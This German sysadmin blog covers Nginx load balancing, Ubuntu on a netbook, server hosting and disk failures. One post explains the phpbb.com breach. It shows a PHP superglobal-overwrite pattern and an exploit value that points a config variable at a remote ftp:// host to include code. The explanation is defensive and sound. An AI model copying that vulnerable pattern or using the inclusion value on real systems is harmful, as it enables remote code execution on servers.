Administrator's Blog

Bei einem meiner "Heavy Load"-Projekte nutze ich seit langer Zeit Pound als Loadbalancer und SSL-Proxy. In letzter Zeit sah ich allerdings immer mehr große Sites zu Nginx switchen, u.A. solche Größen wie wordpress.com. Das machte mich natürlich neugierig, so dass ich die Tage Nginx testweise auf einem der Loadbalancer aufsetzte, konfigurierte und testete.

Zuerst einmal muss man sagen, dass Nginx deutlich besser dokumentiert ist als Pound. Ich brauchte eigentlich keine weiteren Infos als das Wiki - für einen Pound-User nahezu ein Traum. Dort beschränkt sich die Doku eigentlich nur auf das Archiv der Mailingliste. Das kann u.U. sehr mühsam sein. Aufgrund der guten Doku war die Installation von Nginx aus den Sourcen (ich habe mich für die "stable" Version entschieden) sowie die anschließende Konfiguration kein Problem. Auch die Nutzung als SSL-Proxy lässt sich ähnlich wie in Pound konfigurieren, d.h. dass Nginx die SSL-Anfragen annimmt und als normale HTTP-Anfragen an die Backends weiterleitet. Der User bemerkt davon natürlich nichts und befindet sich permanent auf einer "normalen" SSL-Seite.

Ansonsten war die Umstellung eigentlich sehr einfach. Zu beachten ist bei Nginx, ebenso wie bei Pound, die Erhöhung des ulimit via Initscript, um Meldungen wie "too many open files" zu umgehen. So konnte Pound nun beendet und Nginx gestartet werden. Da als Server ein Quad-Opteron zum Einsatz kommt, habe ich Nginx mit 4 "Worker Processes" konfiguriert, um alle Cores optimal zu nutzen.

Das Ergebnis kann sich sehen lassen:



Wie man sieht, ist die CPU-Last massiv gesunken. Um mehr als die 2/3 mindestens, und dass obwohl zum Testzeitpunkt ziemlich viel los war auf dem Loadbalancer (~600-800 requests/sek). Die Load auf dem Server ist dauerhaft unter 0.1. Einfach genial, wenn man das mit der recht hohen CPU-Last und einer Load von 0.5-0.8 von Pound vorher vergleicht.

Für das Monitoring habe ich auch direkt ein paar nette Cacti-Templates gefunden, die prima funktionieren. Abschließend kann ich mich eigentlich nur fragen, warum ich nicht gleich Nginx genommen habe? Pound lief zwar jahrelang stabil und zuverlässig, die deutliche höhere Last und die schlechte Dokumentation von Pound sprechen aber eindeutig für den Einsatz von Nginx als Loadbalancer auf Sites mit hoher Last.

Nachdem mir Vista Business durch massive Arbeitsverweigerung und gähnende Langsamkeit auf diesem Mini-Vaio (im Grunde ein Netbook, nur teurer *g*) massiv auf die Nerven ging, habe ich kurzerhand Vista durch Ubuntu 9.04 ersetzt.

Die Installation ging, wie von Ubuntu gewohnt, einfach und schnell. Als Dateisystem habe ich hier erstmals das neue ext4-Filesystem gewählt. Allerdings konnte ich beim normalen Einsatz keine merklichen Unterschiede feststellen, große Datei- oder Ordnerstrukturen habe ich natürlich nicht. Natürlich (man muss als Linux-Fan sagen: leider) funktionierte folgende Hardware nicht auf Anhieb nach der Installation: das eingebaute Globetrotter UMTS/HSDPA-Modem, das eingebaute Mikrofon und die Motion-Eye Webcam. Die Cardreader habe ich noch nicht getestet, würde mich allerdings nicht wundern, wenn die auch nicht gingen.

Glücklicherweise wurde immerhin der Draft-N WLAN-Chip erkannt, so dass ich Updates und weitere Pakete via WLAN nachinstallieren konnte. So bekam ich nach einiger Foren-Lektüre die Webcam mit einem Treiber aus irgendeinem SVN zum laufen. Nach weiterer Lektüre fand ich dann heraus, dass man via in /sys/devices/platforms/sony-laptop/ befindlicher Files jeweils mit den Werten 0 oder 1 das WLAN, WWAN (UMTS), DVDRW, Bluetooth usw. steuern kann. Das UMTS-Modem aktiviert man dann also via echo 1 > sys/devices/platforms/sony-laptop/wwanpower. Funktioniert, aber wie bitte soll man denn z.B. als Anfänger darauf kommen? Hier hätte ich mir eine Auto-Detection bzw. Einstellungen dazu im Ubuntu-Kontrollzentrum gewünscht.

Nachdem jetzt die WWAN-Lampe bei mir brennt, konnte die Verbindung ins Netz hergestellt werden. Leider taugte der Gnome-Network-Manager trotz angeblichem UMTS-Support dazu nicht, da er schlicht immer das falsche Modem-Device verwendete (korrekt wäre /dev/ttyUSB0, er versuchte es immer mit /dev/ttyUSB1). In Ermangelung eigener Einstellungs-Möglichkeiten testete ich es dann mit wvdial (funktionierende Config für T-Mobile gibts hier). Das klappte auch problemlos, allerdings fehlte mir hier ganz klar die Anzeige der Empfangsstärke bzw. des Service (GPRS/EDGE/UMTS/HSDPA), der am Standort anliegt. Außerdem hätte ich eine weitere Lösung finden müssen, um den verbrauchten Traffic zu monitoren.

Dazu fand ich nach einer Weile das ultimative UMTS-Tool für Linux, nämlich umtsmon. Das Binary funktioniere auch auf anhieb unter Ubuntu und erkannte sogar das Modem (ein Neustart war allerdings nötig, da wvdial das Modem nicht korrekt freigab). Anbei mal ein Screenshot, denn das Tool lässt quasi keine Wünsche offen. Daran kann sich T-Mobile mit seinem lächerlichen "web'n'walk Manager für Windows" mal ein Beispiel nehmen. Man kann verschiedene Profile verwalten (Für TMO lautet der APN dann "internet.t-mobile"), SMS versenden und sogar eine Warnschwelle für das Kontingent festlegen. Einziger Wermutstropfen ist, dass ich das Programm nur als root zum laufen bekomme. Als normaler User startet startet es zwar, kann dann aber keine PPP-Verbindung aufbauen. Damit kann ich aber leben.

Wenn ich jetzt noch das eingebaute Mikrofon zur Arbeit bewegen kann, könnte ich sogar mit Video von unterwegs aus skypen. Schon toll, über was für Selbstverständlichkeiten man sich als Linux-User doch voller Erwartung freuen kann. Aber dieses "Gefrickel" macht natürlich auch Spaß - mir zumindest. Und für die tägliche Arbeit mit der Bash und einem Browser ist die Ubuntu-Lösung deutlich angenehmer und schneller zu bedienen als das träge Vista Business. Vom gefühlt 5 mal so schnellen Bootvorgang ganz zu schweigen.

Mein kleines Tool um Debian Systeme automatisiert upzudaten, UPDIAN, wird ja bereits von einigen Leuten erfolgreich eingesetzt. Ich benutze es natürlich auch noch nahezu täglich. Da es kürzlich das Update auf Debian Lenny gab, habe ich mich kurzerhand dazu entschlossen, UPDIAN zu erweitern.

So verfügt es nun über Multi-SSH. Damit ist es möglich, ein beliebiges Shell-Commando auf allen eingetragenen Servern auszuführen. Im Beispiel des Distributions-Upgrades war das apt-get dist-upgrade. Die Ausgabe der einzelnen Server wird wie gewohnt geloggt.

Bei Interesse findet sich UPDIAN in der aktuellen Version auf: http://klikics.de/updian/

Für alle Pidgin-User unter Debian oder Ubuntu war heute früh erstmal Stress angesagt, Pidgin funzt nämlich nicht mehr. ICQ hat wohl mal wieder die User von Fremdsoftware ausgesperrt, was ja schon öfter der Fall war. Leider stellen weder Debian noch Ubuntu bisher Pakete für die aktuelle Version 2.5.5 bereit, immerhin gibts aber schon einen Bugreport auf pidgin.im.

Wer nicht von Hand compilen will, findet auf getdeb.org fertige Ubuntu-Pakete (zuerst den Rest, dann erst das Pidgin-Paket installieren). Sicherheitshalber habe ich die Pakete auch hier nochmal in einem Archiv zusammengefasst, erfahrungsgemäß hielt zumindest pidgin.im dem Ansturm bei den letzten dieser Änderungen seitens ICQ nicht stand

Download hier (8,9 MByte): pidgin_2.5.5_getdeb.tar.gz

Derzeit befinde ich mich im Skiurlaub in den österreichischen Alpen (man möge mir daher die mangelnden Updates hier nachsehen). Natürlich ist neben dem iPhone auch der Mini-Vaio mit auf die Reise gegangen. Um Mails abzurufen, reicht das iPhone aus. Wenn es aber via SSH ein Problem zu beheben gibt oder man einfach nur mal komfortabel die Schneehöhen bzw. das Wetter checken will, muss der Vaio ran.

Leider sind die UMTS-Roamingpreise weiterhin eine Frechheit. So kostet meine Web'n'Walk "Flat" (also 5 GByte pro Monat) monatlich um die 50 EUR. Im Ausland soll ich dann aber weiterhin 1,99 EUR pro MByte zahlen - Abzocke pur! Noch unbegreiflicher wird das Ganze für mich aufgrund der Tatsache, dass ich sogar hier in Österreich bei T-Mobile (nur eben AT und nicht DE) eingebucht bin.

Also habe ich mich mal nach Prepaid-Karten umgeschaut, mit denen man hier surfen kann. Bei Hofer (aka ALDI) gibt's für 19,99 EUR eine Karte von YESSS (oder so ähnlich), mit der man 1 GB zur Verfügung hat. Leider liegt hier bei mir mitten in den Bergen das dafür genutzt ORANGE-Netz nicht an. Also war ich gestern in einem A1-Shop (aka Vodafone), wo man mir das "B.FREE Breitband Welcome Paket" verkaufte. Für sagenhafte 14,90 EUR kann ich so innerhalb der nächsten 12 Monate 1 GB versurfen bzw. die SIM-Karte jederzeit wieder aufladen. Ein mehr als fairer Preis.

Leider war die Installation dann nicht so der Hit - und damit meine ich nicht das Einsetzen der SIM-Karte in meinen Vaio! Es scheiterte nämlich an den Zugangsdaten sowie dem APN für den Eintrag in "MWconn", der sich nicht in der mitgelieferten Anleitung fand. Irgendwie sinnfrei, eine SIM ohne diese Info's zu verkaufen, aber naja. Nach einiger Recherche im Netz (natürlich zu je 1,99 EUR pro MB) fand ich dann endlich die benötigten Daten (unter [1] nochmal hinterlegt, falls Jemand mal in die gleiche Lage kommt).

So surfe ich nun also entspannt via EDGE (UMTS liegt hier leider nicht an) und bin zufrieden. Ein Urlaub mit Internet ist einfach noch besser! Was mich allerdings aufregt ist die Tatsache, dass man in Deutschland 600 EUR pro Jahr bezahlt, um Mobil vernünftig online zu sein (kommt mir bitte nicht mit BASE oder solchem Schrott!), während man hier im Grunde das Gleiche für 14,90 EUR bekommt. Ich glaube nämlich kaum, dass ich mit meiner Web'n'Walk - SIM mehr als 1-2 GByte im Jahr verbrauche, da diese nur auf innerdeutschen Reisen oder Urlauben zum Einsatz kommt.

[1]
Einwahlnummer: *99#
APN: a1.net
Benutzer: ppp@a1plus.at
Passwort: ppp

Manchmal ist es nötig, diverse Files in einem Arbeitsgang umzubenennen. So war dies vorhin zum Beispiel nötig, um mehrere hundert Digicam-Bilder mit der Endung .JPG in .jpg umzubenennen, da ein Joomla-Gallery-Plugin nur Bilder mit *.jpg erkennt. Klar hätte man auch das Plugin bearbeiten können, umbenennen erschien hier aber die einfachere Lösung zu sein. Anstatt mühsam ein Bash-Script mit einer Schleife zu schreiben, kann man auch einfach das nette Programm mmv (Multiple Move) benutzen (zu haben als Debian- und Ubuntu-Paket via apt).

So ist es mit dem simplen Befehl

mmv -v '*.JPG' '#1.jpg'

ganz einfach möglich, sämtliche Bilder umzubenennen. Da reguläre Ausdrücke unterstützt werden, ist man mit mmv sehr flexibel, in unserem Fall bleibt durch den Platzhalter #1 auch der Dateiname vor der Endung erhalten.

Ein ganz anderes Problem sind die ständigen Scans und Bruteforce-Angriffe auf offene SSH-Server (Port 22). Zwar sollte man generell SSH von außen (zumindest als root) verbieten oder zumindest den sshd auf einem Port >1024 lauschen lassen, dies ist aber nicht in jedem Fall möglich. Abhilfe schafft hier DenyHosts, da es nach einer definierbaren Anzahl von fehlerhaften Logins die IP des potentiellen Angreifers in die Datei /etc/hosts.deny einträgt, woraufhin das System Netzwerkverkehr von dieser IP aus nicht mehr annimmt. Nach einer ebenfalls konfigurierbaren Zeitspanne werden die IP's dann auch automatisch wieder entfernt.

Aktuell umfasst auf dem entsprechenden System hier die Anzahl der Einträge stolze ~800 IP's mit steigender Tendenz - und zwar seit heute 0 Uhr! Dabei wird eine IP nach 3 fehlerhaften Logins gesperrt. Da sich auch Mailreports verschicken lassen, stach mir dadurch direkt der folgende Eintrag ins Auge:

Added the following hosts to /etc/hosts.deny:
174.129.96.xxx (ec2-174-129-96-xxx.compute-1.amazonaws.com)

Da wird doch nicht etwa eine gemiete Computing-CloudFront von Amazon's Webservices versucht haben, sich hier via SSH Zugang zu verschaffen? Aber klar, es handelt sich dort auch nur um *nix-Systeme, die von irgendwelchen Admins gemietet und gewartet werden, soviel ich weiss. Somit kann es gut sein, dass eine Reihe davon mit Rootkits versehen ist oder zumindest nicht mehr komplette unter der Kontrolle des eigentliches Admins steht ...

Eben las ich, dass phpbb.com gehackt wurde und deshalb die Seite derzeit nicht erreichbar ist. Glücklichweise wurde diesmal nicht (wie schon so oft...) die Forensoftware selbst Opfer der eigenen Sicherheitslücken, sondern eine Installation des Newsletter-Managers PHPList. Das macht es natürlich nicht wirklich besser, erspart mir aber die Suche nach Problemen bzw. Updates der eigenen phpBB-Installationen.

Ich habe hier mal ein paar Fakten aus dem Heise-Forum aufbereitet, die offenbar von Stefan Esser (PHP-Autor und Entwickler des Suhosin-Patches) gepostet wurden:

Grund war ein Remote File Inclusion Problem, das durch einen Superglobals-Overwrite (dabei werden die Superglobalen-Variablen von PHP überschrieben, siehe auch hier) ausgelöst wurde. Hier wurde seitens PHPList schlampig programmiert, um "register_globals=off" zu umgehen oder sowas. Dabei wird beispielsweise oft fälschlicherweise der folgende Code verwendet, um GET/POST/COOKIE-Variablen später einfach verwenden zu können:

foreach ($_REQUEST as $key => $val) {
    $$key = $val;
}

Im Exploit wurde dann die Variable $_SERVER[ConfigFile]=../local-file../ einfach mit $_SERVER[ConfigFile]=ftp://www.bla.com/bad_code.php überschrieben. Da zur Prüfung der Variable dann is_file() benutzt wurde, lieferte PHP keinen Fehler. Seit PHP5 wird stat() nämlich auch vom ftp:// - Protokoll unterstützt.

Der zur Verfügung gestellte Bugfix behebt dieses Problem nun durch eine recht banale Lösung:

if (isset($_REQUEST['_SERVER'])) {
    exit;
}

Hier werden allerdings die zahlreichen anderen Superglobals wie $GLOBALS, $_GET, $_POST, $_REQUEST usw. nicht abgefangen. Damit könnten eventuell weitere Variablen im Script überschrieben werden und das nächste Leck ist offen.

Abhilfe schafft hier zweifelsfrei Suhosin, da hier konsequent GET/POST/COOKIE-Variablen mit den entsprechenden Namen ($_GLOBALS usw.) ignoriert und dementsprechend im Script auch nicht registriert werden. Ich habe eigentlich auf sämtlichen Servern seit einer ganzen Weile Suhosin laufen (via Debian auch als Paket installierbar) und kann nur Positives berichten. Probleme mit Scripten sind mir bisher nicht ein einziges Mal untergekommen.

Im Apache-Errorlog kann man dann, je nach Loglevel, auch die verhinderten Aktionen einsehen. Das sieht dann beispielsweise so aus:

suhosin[3077]: ALERT - tried to register forbidden variable '_REQUEST' through GET variables (attacker '1xx.xxx.xxx.xxx', file '/www/.../index.php')
suhosin[635]: ALERT - configured GET variable value length limit exceeded - dropped variable 'variablen_name' (attacker '1xx.xxx.xxx.xxx', file '/www.../s.php')
suhosin[14381]: ALERT - ASCII-NUL chars not allowed within request variables - dropped variable 'cutepath' (attacker '1xx.xxx.xxx.xxx, file '/www/.../tools.php')

Da sich in den Logs mitunter täglich hunderte solcher Einträge finden lassen, kann ich jedem Webserver-Admin nur empfehlen, PHP mit Suhosin abzusichern!

Heute stöberte ich bezüglich einiger Info's zum Thema auf der Website der Polizei Sachsen. Dabei fiel mir sofort auf, dass der Text auf bestimmten öffentlichen Bereichen der Website teilweise via GET-Variablen an ein ASP-Script weitergegeben wird. Das weckte natürlich sofort meine Neugier.

Als dann ein testweise selbst via URL eingegebener Text ebenfalls auf der Website erschien, war klar, es handelt sich um eine XSS-Lücke. Selbst kompletter HTML-Code lässt sich problemlos einschleusen, wie der Screenshot anhand eines Bildes beweist (der Rest der URL sowie Info's darüber, um welche Unterseite es sich konkret handelt, wurden sicherheitshalber entfernt). Natürlich habe ich die Beamten sofort entsprechend über die Misstände im eigenen Webauftritt via Mail informiert - eine Antwort steht aber bisher noch aus.

Natürlich hoffe ich, dass die Lücke umgehend geschlossen wird, denn mit "seiner eigenen" Polizeiseite, deren URL seriös mit http://polizei.sachsen.de... beginnt, könnte z.B. ein Botnetzbetreiber anhand einiger Millionen Spams massiv Unsinn treiben. In der Vergangenheit war es bisher allerdings leider so, dass gar keine (MediaMarkt, Saturn) oder extreme unprofessionelle Reaktionen (Tchibo.de) auf meine Hinweise erfolgten.

Der tüchtige Admin muss natürlich ab und zu auch mal ins kalte und laute Rechenzentrum, um dort vor Ort an seinen Lieblingen (auch Server genannt) herumzubasteln bzw. Fehler zu beheben. Dabei braucht man natürlich auch Zugriff auf die Shell oder auf den Desktop, sofern es sich um Windows-Server handelt. Um den meistens teuren und oft nicht ausreichend zur Verfügung stehenden Platz in so einem 19"-Rack nicht unnötig mit 15- oder 17"-TFT-Monitoren zu verschwenden (da sind samt Schublade schnell mal 4-5 HE's weg ...), bin ich jetzt im Besitz einer tollen Slide-KVM mit einer Höhe von nur einer einer HE. Da ich kein Fan von KVM-Kabeln bin, da diese Kabelstränge massiv den Serverschrank zumüllen und die Übersicht gegen Null gehen lassen, wenn man mal ein einzelnes Kabel verfolgt, verzichte ich bewusst darauf. Also wird jedes Mal einfach Tastatur und VGA in den jeweiligen Server gesteckt. Da hier keine Windows-Server im Einsatz sind, ist das auch kein Problem. Sonst kann es mit der Maus-Erkennung "on-the-fly" gern mal Probleme geben, da es sich um einen PS/2-Anschluss handelt.

Es handelt sich konkret um die Aten CL1000 (siehe Foto - darunter befindet sich noch ein Server). Das Display macht einen guten Eindruck, wobei natürlich eine Linuxshell nicht unbedingt das ideale Testszenario für einen Monitor ist. Die Tastatur hat einen sehr weichen Druckpunkt, reicht aber für gelegentliche Arbeiten im Rechenzentrum natürlich locker aus. Einen sehr guten Eindruck hingegen macht der Klappmechanismus des Monitors. Da muss man wohl keine Angst haben, dass da was abbricht. Als Mausersatz ist ein Touchpad vorgesehen, dieses wird aber hier ein Schattendasein führen.

Die rund 600 EUR sind also offenbar ganz gut angelegt. Der Preis ist zwar recht hoch, zumindest wenn man die Komponenten mal einzeln anschaut (Tastatur 20 EUR, 17"-Monitor vlt. 100 EUR), die gute Verarbeitung und die Platzersparnis im Rack rechtfertigen diesen aber wohl dennoch. Die Langzeit-Haltbarkeit muss sich allerdings noch bewähren, ebenso steht natürlich der Einbau noch bevor. Und da trotz Standard alle Serverschränke irgendwie anders sind, ist sowas auch immer nochmal eine kleine Hürde

Wie sicher jeder Internetnutzer inzwischen zumindest gelesen hat, war Google am Samstag für rund 45 Minuten nicht benutzbar, da jede Seite fälschlicherweise Malware enthalten sollte. Die zweifelhafte Ursache war ein Slash (das ist ein "/" , als Info für die "\" - verwöhnten Windows-User *g*) in der Blacklist, womit dann alle Seiten als "False Positives" gebrandmarkt wurden. Man musste dann die URL händisch kopieren und in die Adressleiste des Browser einfügen. Daran dürften schonmal 50% der User scheitern ...

Die Sache ansich ist nicht weiter tragisch und kann durchaus mal passieren. Was ich eher als krass empfand, war die Hilflosigkeit - sogar bei mir. Der Traffic auf einigen Webclustern ging zurück, da natürlich normalerweise sonst viele Nutzer von Google kommen. Hätte mich nicht ein Freund sofort via Mail über das Google-Problem informiert, hätte ich den Fehler erstmal auf den eigenen Servern bzw. den Websiten oder Datenbanken gesucht. Ebenso schwierig war es, erste Informationen über das Problem zu bekommen. Heise und Golem meldeten erst, nachdem der Spuk schon wieder vorbei war. Einzig auf Slashdot fand ich zeitnah eine Info zu dem Thema.

Mir hat der Vorfall leider wieder einmal eindrucksvoll gezeigt, wie unschön es in gewisser Weise sein kann, nur auf einen Anbieter zu vertrauen bzw. wie abhängig das gesamte Internet inzwischen von Google ist. Leider haben daran auch keine noch so ambitionierten neuen Projekte (Wikia, Cuil usw.) etwas ändern können. Das wird wohl auch auf absehbare Zeit so bleiben, denn Google liefert nunmal die besten und schnellsten Suchergebnisse - sagt man ...

Seit gestern bin ich ja nun glücklichlicher Admin eines Server4You-Rootservers. Große Rätsel gibt mir derzeit allerdings die dortige Benutzer-Schnittstelle (aka "Power Panel") auf, wo der interessierte Nutzer seinen bisher verbrauchten Traffic sowohl in Zahlen als auch grafisch aufbereitet dargestellt bekommt. Zum Glück muss man sich dank "Traffic-Flatrate" keine Sorgen um die verflossenen GBytes machen, solche Übersichten sind aber dennoch ganz hilfreich. Vor Allem, wenn man Fan von Statistiken ist

Wie gesagt wird im Kundenbereich also der bisher verbrauchte Traffic dargestellt, das sieht dann so aus wie im Screenshot rechts. Die Daten könnten auch soweit passen, schließlich ist der Server erst seit gestern in Betrieb und wurde seither kaum benutzt (bis auf ein paar obligatorische Updates und Installationen). So wurden also seit gestern 1831.40 MByte verbraucht - ein realistischer Wert, bis auf einen kleinen Rundungsfehler. Die Summer aus "In" und "Out" ergibt nämlich eigentlich 1831.03 MByte.

Klickt man nun allerdings auf den "Mehr"-Link, erscheinen plötzlich völlig andere Zahlen (siehe Screenshot links). Und zwar liegen hier die Werte deutlich über denen der ersten Seite. So wurden nun in einem einzigen Tag laut Statistik schon 405.9 Gbyte (!) verbraucht (eigentlich ja sogar 406 GByte). Das ist natürlich kompletter Unsinn, was auch die Traffic-Kurven im Cacti-Monitoring belegen. Ich vermute mal, Server4You hat hier ein kleines Softwareproblem bzw. die IP meines Servers hat bis vor wenigen Tagen auf einem anderen Server "gelebt", der entsprechend viel Traffic erzeugt hat.

Bin gespannt, wie sich das weiterentwickelt - wenigstens braucht man sich dank "Flatrate" keine Sorgen machen und kann ruhig schlafen. Bisher habe ich auch noch nirgends eine Klausel entdeckt, die den Provider befugt, die Bandbreite des Switchports nach einem gewissen Trafficaufkommens (1 TByte z.B.) herunterzudrosseln. Andere Provider limitieren dann schon schnell mal auf 10Mbit. Ich bin mir allerdings recht sicher, dass bei permanenter Auslastung der 100MBit am Switchport durch einen einzelnen Server schonmal genauer geschaut wird oder auch gedrosselt wird.

Nachdem Serverloft mir gestern mitteilte, dass das bestellte Modell derzeit nicht verfügbar ist, hatte ich mich ja schon mit einer Wartezeit von gut 10 Tagen abgefunden. Vorhin bekam ich jedoch eine Mail, meine Bestellung wäre nun gelöscht worden, da ich mich seit der Bestellung bzw. Info über die Wartezeit nicht mehr gemeldet hätte. Hallo? Ich habe schließlich gestern Vormittag mit dem Support ein Telefonat geführt, in dem ich zusagte, die Wartezeit in Kauf zu nehmen. Also wieder an der Hotline angerufen (und sogar sofort Jemanden erreicht!) und nachgefragt, was denn nun los ist. Der Mitarbeiter bestätigte mir die automatische Löschung meiner Bestellung - dabei beließ ich es nun auch gleich. Zumindest gab man mir auf die Nachfrage, ob und wann die Server denn nun wieder verfügbar wären, eine sehr lustige Antwort: Server wurden zwar heute geliefert, aber mit den falschen Festplatten. Wo gibt's denn bitte Sowas?

Kurzfristig entschied ich mich jetzt für einen Rootserver von Server4You, also einem anderen Label des gleichen Vereins (Intergenia). Dieser wurde nach Bestellung und kurzer telefonischer Rückfrage binnen 2h eingerichtet. Besser gehts eigentlich nicht, bin begeistert. Die nicht ganz so potente Hardware gegenüber Serverloft (Opteron 2.2 GHZ, 4096MByte RAM, Software-RAID1) nehme ich für die sofortige Bereitstellung sowie 20 EUR Ersparnis monatlich (59 statt 79 EUR) gern in Kauf.

Negativ fiel mir bei Server4You nur auf, dass ich trotz "Debian 4.0 Minimalinstallation" einen MySql-Server, Apache und sogar einen kompletten Mailserver samt ClamAV, Courier und Spamassassin auf dem System laufen hatte. Ebenfalls war der FTP-Daemon proftpd installiert und lief. Was daran "minimal" sein soll, weiss wohl nur Server4You. Bei mir umfasst eine Minimalinstallation eigentlich nur das Grundsystem samt SSH-Daemon. Außerdem war die Systemsprache- und Zeit auf English gestellt. Das lässt sich freilich sehr schnell ändern, könnte aber auch von Haus aus so sein.

Ansonsten macht das System bisher einen guten Eindruck. Die 2 Samsung-Platten laufen via mdadm als Software-RAID1 und auch alle Softwarepakete waren auf dem aktuellen Stand. Als Paketserver wird per default der hauseigene Mirror von Intergenia verwendet. Der Kernel ist in Version 2.6.24-etchnhalf.1-amd64 vorinstalliert, da ich ja die AMD64-Installation ausgewählt hatte.

Nun wird sich zeigen, wie der Server langfristig läuft. Da er nur als Test-, Monitoring- und Gameserver dient, wird die Verwaltungsoberfläche von Server4You (oder auch PLESK) nicht zum Einsatz kommen. Von daher ist es tatsächlich nur relevant, wie gut die Netzanbindung und Hardware ist. Daran gibt es bisher Nichts auszusetzen. Solche tollen Pings hatte der Gameserver zumindest noch nie

Gestern habe ich mich dazu entschieden, bei Serverloft einen Rootserver zu mieten. Aufgrund der massiven Medienpräsenz, ausgelöst unter Anderem durch die Ersteigerung des Basicthinking-Blogs und massiven Werbung in C'T und anderen Zeitschriften sowie der unschlagbaren Preise kommt man ja kaum an der Marke aus dem Hause Intergenia vorbei. Also fiel die Wahl auf den "PerfectServer L", da dessen Ausstattung für die bevorstehenden Einsatzzwecke (etwas externes Monitoring und als Gameserver) mehr als ausreicht. Auch die hervorragende Backbone-Anbindung ans Internet hatte mein besonderes Interesse geweckt.

Die Bestellung war schnell ausgelöst, unnütze Eingaben bei der Anmeldung wie z.B. Geburtsort habe ich sicherheitshalber nicht mit angegeben. Tut wohl auch nichts zur Sache bei einer Serverbestellung. Anschließend kam sofort eine Bestätigungsmail, gefolgt von der ernüchternden Infomail (siehe Screen), dass das von mir gewählte Modell derzeit nicht verfügbar sei.

Da hat wohl die Nachfrage aufgrund des Medienrummels und der natürlich sensationelle Preise schnell den Bestand an Servern überschritten. 10 Tage Wartezeit also - irgendwie ganz schön lange. Braucht Fujitsu/Siemens etwa so lange, um neue Hardware zu liefern? Kaum vorstellbar eigentlich. Da ich aber nicht wirklich unter Zeitdruck stehe, werde ich freundlicherweise auf Serverloft warten. Denen die erfreuliche Nachricht mitzuteilen, war allerdings schwieriger als erwartet: Per Mail scheint kein Kontakt möglich (nur via schnödem Webformular), da alle Mails von noreply@ - Adressen aus versandt werden. Telefonisch hatte ich es gestern in den Abendstunden bereits versucht, aber nach rund 20 Minuten an der Gratis-Hotline dann aufgegeben. Wenn das jetzt aber ein Support-Notfall eines wichtigen Firmenservers gewesen wäre ... ? Vielleicht gibts ja dann noch eine "Geheimnummer" oder direkte Durchwahl, man weiss es nicht. Immerhin erreichte ich vor wenigen Minuten nach ca. 10 Minuten in der Warteschleife einen netten Supportmenschen, der auch gleich meine Identität verifizierte, um Fake-Bestellungen auszuschließen.

Mir wurde an der Hotline auch nochmals versichert, dass mein Server in spätestens 10 Tagen am Netz sein wird - mal schauen, ob der Kollege Recht behält. Wenigstens habe ich so (hoffentlich) die Einrichtungsgebührt von 199 EUR noch gespart, denn bis 31.01. gibts die von Serverloft geschenkt. Würde mich allerdings nicht wundern, wenn das verlängert wird, wie es immer so ist.

Natürlich werde ich weiter berichten und den Server dann ausgiebig testen - er soll laut meiner Auswahl mit "Debian 4.0 minimal" bereitgestellt werden. Achja, das nächst größere Modell für 129 EUR im Monat wäre auf Lager gewesen. Aber 50 EUR pro Monat mehr, nur um 10 Tage Wartezeit zu sparen? Nein!

Derzeit scheinen es die Festplatten echt nicht gut mit mir zu meinen. Nach dem Seagate-Stress in der letzten Woche inklusive Defekt am Freitag verabschiedete sich gestern direkt die nächste Platte. Und diesmal sogar eine von meinen geliebten und oft angepriesenen Western-Digital Platten der "Raptor"-Serie (SATA mit 10.000 UPM).

Es fing wie immer mit den klassischen "Sector repair" - Meldungen an, bis dann gar kein Lebenszeichen mehr zu vernehmen war:

3w-9xxx: scsi0: AEN: WARNING (0x04:0x0023): Sector repair completed:port=0, LBA=0x77A717.
3w-9xxx: scsi0: AEN: ERROR (0x04:0x0002): Degraded unit:unit=0, port=0.

Glücklicherweise ist genug Ersatz auf Lager (eben mal im "Plattenhaufen" gewühlt, siehe Foto ..), denn die Serie "WD Raptor 360" mit nur 36GByte Kapazität gibt es nicht mehr. Nun geht es bei 150GByte los, was für Server ohne große Plattenbenutzung (Loadbalancer z.B.) natürlich Overkill ist. Andererseits gibts natürlich auch keinen Grund für die Hersteller, im Zuge der kostengünstigen Massenfertigung weiter Platten mit so kleiner Kapazität auszuliefern. Ist nur immer etwas verschwenderisch anmutend, wenn man eine defekte HDD mit 36GByte in einem RAID1 durch einen Ersatz mit 300GByte ersetzt. Schließlich werden, sofern man keine Lust auf eine Neuinstallation hat bzw. beide Platten ersetzt, 264Gbyte einfach nicht genutzt. Naja, Kollateralschäden halt

Wie auf wdc.com zu lesen ist, wurde die "Raptor"-Serie nun von der weiterentwickelten "VelociRaptor"-Reihe abgelöst, die natürlich viel schneller und besser gemacht wurde. Ich muss zugeben, bei WD glaub ich das sogar. Denn im Verhältnis zu der bei uns eingesetzten Menge der Platten ist die Ausfallquote extrem gering. Mehrere Platten laufen schon seit einigen Jahren problemlos vor sich hin - so wie es ja eigentlich auch sein sollte. Das geht natürlich auch mit anderen Herstellern, keine Frage. Trotzdem muss man ja auch mal etwas Lob loswerden.

Auf der Website bewirbt Western-Digital die aktuellen Platten mit dem einprägsamen Werbeslogan "Die Bestie ist geschlüpgt" (siehe Screen). Bis auf diesen lustigen Rechtschreib-Ausfall machen die Werte aber durchaus eine gute Figur. Eine MTBF von 1,4mio Stunden sucht man - zumindest im SATA-Bereich - ansonsten vergebens, soweit ich weiss. Außerdem wurde der Stromverbrauch um 35% gesenkt. Auch die Beschreibung "Ideal geeignet für: Rechner von Computerfreaks, Workstations und Server " auf der WD-Homepage scheint direkt mich anzusprechen. Woher die jetzt genau wissen, dass ich ein Freak bin, bedarf allerdings noch eingehender Klärung - später aber!

Also kaufe ich auch in Zukunft für Server, die mit weniger Plattenplatz auskommen, WD-Raptor Festplatten. Mehr wollte ich damit eigentlich auch gar nicht sagen.

Welch Ironie! In den letzten Tagen berichtete ich ja mehrfach über die Probleme mit der Seagate-Firmware. Heute früh im Postfach dann die klassische Meldung vom 3Ware-Monitoring-Daemon per Mail und via dmesg auf der entsprechenden Kiste dann diese Loglines:

3w-9xxx: scsi0: AEN: ERROR (0x04:0x0009): Drive timeout detected:port=1.
3w-9xxx: scsi0: AEN: ERROR (0x04:0x0002): Degraded unit:unit=0, port=1.
3w-9xxx: scsi0: ERROR: (0x03:0x0101): Invalid command opcode:opcode=0x85.
3w-9xxx: scsi0: AEN: WARNING (0x04:0x0019): Drive removed:port=1.
3w-9xxx: scsi0: AEN: INFO (0x04:0x001A): Drive inserted:port=1.
3w-9xxx: scsi0: AEN: INFO (0x04:0x000B): Rebuild started:unit=0.

